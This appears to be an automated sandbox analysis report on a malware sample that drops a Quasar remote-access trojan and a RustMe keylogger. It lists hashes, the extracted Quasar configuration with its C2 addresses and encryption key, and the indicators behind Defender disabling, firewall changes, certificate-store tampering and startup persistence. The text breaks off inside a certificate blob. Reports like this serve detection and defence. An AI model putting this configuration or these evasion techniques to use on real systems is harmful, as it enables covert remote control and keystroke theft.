quasar | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

geolocation tags

cacanadananorth-americatoronto
max time kernel
150s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
21/05/2026, 18:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4363463463464363463463463.exe
Size 10KB
Sample260521-wt38csgz71
SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
MD5 2a94f3960c58c6e70826495f76d00b85
SHA1 e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA512 fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP 192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K
TLSH
T1DF22180166D0C2B2C5B303B96C279642C776EA1B3A174F7D748C825BBF6225D43A32B1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

aquarius defense_evasion discovery execution quasar rustme keylogger persistence pyinstaller revoked_codesign spyware themida trojan upx

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Aquarius

192.168.8.103:4782
192.168.8.105:4782
192.168.8.114:4782

Mutex

a198a147-9efc-419d-9539-bac2108dc109

Attributes

encryption_key
4CF458F992C472DE78F317085B34A8A1747FC32D
install_name
WindowsDataUpdater.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
WindowsDataUpdater
subdirectory
WinBioData

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: RustMe Keylogger
RustMe is a keylogger written in C++.
keylogger rustme

Detects RustMe Keylogger 1 IoCs

resource	yara_rule
behavioral3/files/0x0007000000022baf-157.dat	family_rustme_keylogger

Quasar payload 2 IoCs

resource	yara_rule
behavioral3/files/0x000b0000000246b3-414.dat	family_quasar
behavioral3/memory/2780-473-0x0000000000B90000-0x0000000000EB4000-memory.dmp	family_quasar

Detected Nirsoft tools 2 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral3/memory/5828-237-0x0000000000400000-0x000000000041B000-memory.dmp	Nirsoft
behavioral3/memory/5828-325-0x0000000000400000-0x000000000041B000-memory.dmp	Nirsoft

NirSoft NirCmd 2 IoCs

NirCmd is a lightweight Windows command-line tool for automating system tasks

resource	yara_rule
behavioral3/memory/5828-237-0x0000000000400000-0x000000000041B000-memory.dmp	NirCmd
behavioral3/memory/5828-325-0x0000000000400000-0x000000000041B000-memory.dmp	NirCmd

Command and Scripting Interpreter: PowerShell 1 TTPs 54 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
8324	powershell.exe
2444	powershell.exe
10892	powershell.exe
6284	powershell.exe
6564	powershell.exe
5296	powershell.exe
1620	powershell.exe
5892	powershell.exe
7480	powershell.exe
4380	powershell.exe
8988	powershell.exe
4108	powershell.exe
5888	powershell.exe
8400	powershell.exe
8452	powershell.exe
8744	powershell.exe
7868	powershell.exe
8216	powershell.exe
6256	powershell.exe
1208	powershell.exe
4980	powershell.exe
6200	powershell.exe
7980	powershell.exe
9464	powershell.exe
11044	powershell.exe
10936	powershell.exe
3952	powershell.exe
5700	powershell.exe
10072	powershell.exe
4360	powershell.exe
9340	powershell.exe
7224	powershell.exe
1056	powershell.exe
5760	powershell.exe
5284	powershell.exe
9016	powershell.exe
9352	powershell.exe
4792	powershell.exe
9616	powershell.exe
4748	powershell.exe
5968	powershell.exe
7864	powershell.exe
7844	powershell.exe
4104	powershell.exe
4204	powershell.exe
5752	powershell.exe
3660	powershell.exe
8164	powershell.exe
7448	powershell.exe
8584	powershell.exe
9108	powershell.exe
4072	powershell.exe
7856	powershell.exe
6920	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 26 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
7844	powershell.exe
9352	powershell.exe
9616	powershell.exe
4360	powershell.exe
4104	powershell.exe
5760	powershell.exe
6920	powershell.exe
10072	powershell.exe
9340	powershell.exe
1056	powershell.exe
7448	powershell.exe
7864	powershell.exe
9108	powershell.exe
7224	powershell.exe
4204	powershell.exe
5752	powershell.exe
3660	powershell.exe
7856	powershell.exe
5284	powershell.exe
9016	powershell.exe
8584	powershell.exe
4792	powershell.exe
4072	powershell.exe
4748	powershell.exe
8164	powershell.exe
5968	powershell.exe

Downloads MZ/PE file 7 IoCs

flow	pid	Process
39	3540	4363463463464363463463463.exe
39	3540	4363463463464363463463463.exe
39	3540	4363463463464363463463463.exe
39	3540	4363463463464363463463463.exe
20	3540	4363463463464363463463463.exe
35	3540	4363463463464363463463463.exe
40	3540	4363463463464363463463463.exe

Manipulates Digital Signatures 1 TTPs 2 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	support.client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	support.client.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3628	netsh.exe

Signed with revoked ConnectWise certificate 1 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral3/files/0x000e0000000231e4-7.dat	revoked_cert_connectwise

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	Fast%20Download.exe

Executes dropped EXE 7 IoCs

pid	Process
5268	support.client.exe
3476	gallery-dl.exe
1328	gallery-dl.exe
2920	Fast%20Download.exe
668	%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe
5424	RustMeDebyg.exe
4388	CFXBypass.exe

Loads dropped DLL 16 IoCs

pid	Process
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe
1328	gallery-dl.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
10900	icacls.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral3/files/0x001b00000002472b-5083.dat	themida

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
47	pastebin.com
38	raw.githubusercontent.com
39	raw.githubusercontent.com
46	pastebin.com

Enumerates processes with tasklist 1 TTPs 28 IoCs

discovery

Process Discovery

T1057

pid	Process
3344	tasklist.exe
8068	tasklist.exe
376	tasklist.exe
9392	tasklist.exe
6712	tasklist.exe
2216	tasklist.exe
6604	tasklist.exe
8636	tasklist.exe
8968	tasklist.exe
8332	tasklist.exe
5656	tasklist.exe
6188	tasklist.exe
5160	tasklist.exe
5968	tasklist.exe
8204	tasklist.exe
7852	tasklist.exe
9400	tasklist.exe
8468	tasklist.exe
1356	tasklist.exe
4536	tasklist.exe
3052	tasklist.exe
3836	tasklist.exe
2036	tasklist.exe
8796	tasklist.exe
7668	tasklist.exe
4888	tasklist.exe
10924	tasklist.exe
1120	tasklist.exe

UPX packed file 46 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/0x000c000000024669-229.dat	upx
behavioral3/memory/5828-237-0x0000000000400000-0x000000000041B000-memory.dmp	upx
behavioral3/memory/5828-325-0x0000000000400000-0x000000000041B000-memory.dmp	upx
behavioral3/files/0x0009000000024683-368.dat	upx
behavioral3/memory/1928-373-0x0000000000400000-0x0000000001FA9000-memory.dmp	upx
behavioral3/memory/1916-480-0x00007FFC01340000-0x00007FFC017A5000-memory.dmp	upx
behavioral3/memory/1916-484-0x00007FFC1B050000-0x00007FFC1B05F000-memory.dmp	upx
behavioral3/memory/1916-483-0x00007FFC01A70000-0x00007FFC01A94000-memory.dmp	upx
behavioral3/memory/1916-492-0x00007FFC01880000-0x00007FFC019F1000-memory.dmp	upx
behavioral3/memory/1916-491-0x00007FFC01A00000-0x00007FFC01A1E000-memory.dmp	upx
behavioral3/memory/1916-496-0x00007FFC01280000-0x00007FFC01337000-memory.dmp	upx
behavioral3/memory/1916-502-0x00007FFC00DC0000-0x00007FFC00ED8000-memory.dmp	upx
behavioral3/memory/988-563-0x00007FFC00850000-0x00007FFC00CB5000-memory.dmp	upx
behavioral3/memory/988-565-0x00007FFC0E770000-0x00007FFC0E77F000-memory.dmp	upx
behavioral3/memory/1916-579-0x00007FFC01A70000-0x00007FFC01A94000-memory.dmp	upx
behavioral3/memory/988-578-0x00007FFBFEBB0000-0x00007FFBFEBCE000-memory.dmp	upx
behavioral3/memory/988-583-0x00007FFBFE5A0000-0x00007FFBFE657000-memory.dmp	upx
behavioral3/memory/988-589-0x00007FFBFE580000-0x00007FFBFE595000-memory.dmp	upx
behavioral3/memory/988-591-0x00007FFC00850000-0x00007FFC00CB5000-memory.dmp	upx
behavioral3/memory/988-614-0x00007FFBFE9E0000-0x00007FFBFEA0E000-memory.dmp	upx
behavioral3/memory/988-613-0x00007FFC0E210000-0x00007FFC0E21D000-memory.dmp	upx
behavioral3/memory/988-612-0x00007FFBFEA10000-0x00007FFBFEA29000-memory.dmp	upx
behavioral3/memory/988-611-0x00007FFBFEA30000-0x00007FFBFEBA1000-memory.dmp	upx
behavioral3/memory/988-610-0x00007FFBFEBD0000-0x00007FFBFEBE8000-memory.dmp	upx
behavioral3/memory/988-609-0x00007FFBFEBF0000-0x00007FFBFEC1C000-memory.dmp	upx
behavioral3/memory/988-608-0x00007FFC0E770000-0x00007FFC0E77F000-memory.dmp	upx
behavioral3/memory/1916-718-0x00007FFC00F00000-0x00007FFC01277000-memory.dmp	upx
behavioral3/memory/4396-721-0x00007FFC1B050000-0x00007FFC1B05F000-memory.dmp	upx
behavioral3/memory/4396-720-0x00007FFC01C20000-0x00007FFC01C44000-memory.dmp	upx
behavioral3/memory/1916-717-0x00007FFC01280000-0x00007FFC01337000-memory.dmp	upx
behavioral3/memory/1916-716-0x00007FFC1AF70000-0x00007FFC1AF7D000-memory.dmp	upx
behavioral3/memory/1916-715-0x00007FFC01860000-0x00007FFC01879000-memory.dmp	upx
behavioral3/memory/4396-734-0x00007FFC01960000-0x00007FFC0198E000-memory.dmp	upx
behavioral3/memory/4396-783-0x00007FFC01310000-0x00007FFC01428000-memory.dmp	upx
behavioral3/files/0x0009000000024735-916.dat	upx
behavioral3/files/0x000700000002473f-925.dat	upx
behavioral3/files/0x000700000002473d-923.dat	upx
behavioral3/files/0x000700000002473c-922.dat	upx
behavioral3/memory/5864-986-0x00007FFBFC930000-0x00007FFBFCCA7000-memory.dmp	upx
behavioral3/memory/5864-987-0x00007FFBFE860000-0x00007FFBFE917000-memory.dmp	upx
behavioral3/memory/5864-985-0x00007FFC00840000-0x00007FFC0086E000-memory.dmp	upx
behavioral3/memory/5864-984-0x00007FFC0E770000-0x00007FFC0E77D000-memory.dmp	upx
behavioral3/memory/5864-983-0x00007FFC00870000-0x00007FFC00889000-memory.dmp	upx
behavioral3/memory/5864-982-0x00007FFBFE920000-0x00007FFBFEA91000-memory.dmp	upx
behavioral3/memory/1980-1218-0x00007FFC04620000-0x00007FFC0463E000-memory.dmp	upx
behavioral3/memory/5556-1401-0x00007FFC0DCB0000-0x00007FFC0DCDC000-memory.dmp	upx

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral3/files/0x0003000000022bf2-19.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2980	5268	WerFault.exe	94

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gallery-dl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fast%20Download.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	support.client.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gallery-dl.exe

Delays execution with timeout.exe 64 IoCs

defense_evasion

pid	Process
7984	timeout.exe
4416	timeout.exe
988	timeout.exe
7084	timeout.exe
6408	timeout.exe
6644	timeout.exe
3660	timeout.exe
6644	timeout.exe
4144	timeout.exe
6132	timeout.exe
4732	timeout.exe
10248	timeout.exe
8960	timeout.exe
10964	timeout.exe
5272	timeout.exe
3968	timeout.exe
9904	timeout.exe
7212	timeout.exe
2088	timeout.exe
8668	timeout.exe
3084	timeout.exe
9444	timeout.exe
3512	timeout.exe
11032	timeout.exe
716	timeout.exe
808	timeout.exe
9796	timeout.exe
7644	timeout.exe
7092	timeout.exe
9088	timeout.exe
612	timeout.exe
5484	timeout.exe
1520	timeout.exe
7428	timeout.exe
6640	timeout.exe
5296	timeout.exe
4416	timeout.exe
7544	timeout.exe
7692	timeout.exe
10852	timeout.exe
4976	timeout.exe
9996	timeout.exe
6692	timeout.exe
4108	timeout.exe
736	timeout.exe
6480	timeout.exe
2944	timeout.exe
7692	timeout.exe
2840	timeout.exe
9468	timeout.exe
460	timeout.exe
6652	timeout.exe
10144	timeout.exe
4592	timeout.exe
10772	timeout.exe
4092	timeout.exe
7432	timeout.exe
2160	timeout.exe
6888	timeout.exe
4840	timeout.exe
5144	timeout.exe
9288	timeout.exe
8888	timeout.exe
5656	timeout.exe

Modifies registry class 21 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "YRVQP6BTAVHDZ1AHYCO4RR77"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Categories	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "OWT9O4WDCL5E8XRHZH5MNKWB"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft	dfsvc.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Visibility	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\VisibilityRoots	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\StateStore_RandomString = "GO44A7B44JG3TH8DOEBZYMK5"	dfsvc.exe

Modifies system certificate store 2 TTPs 4 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b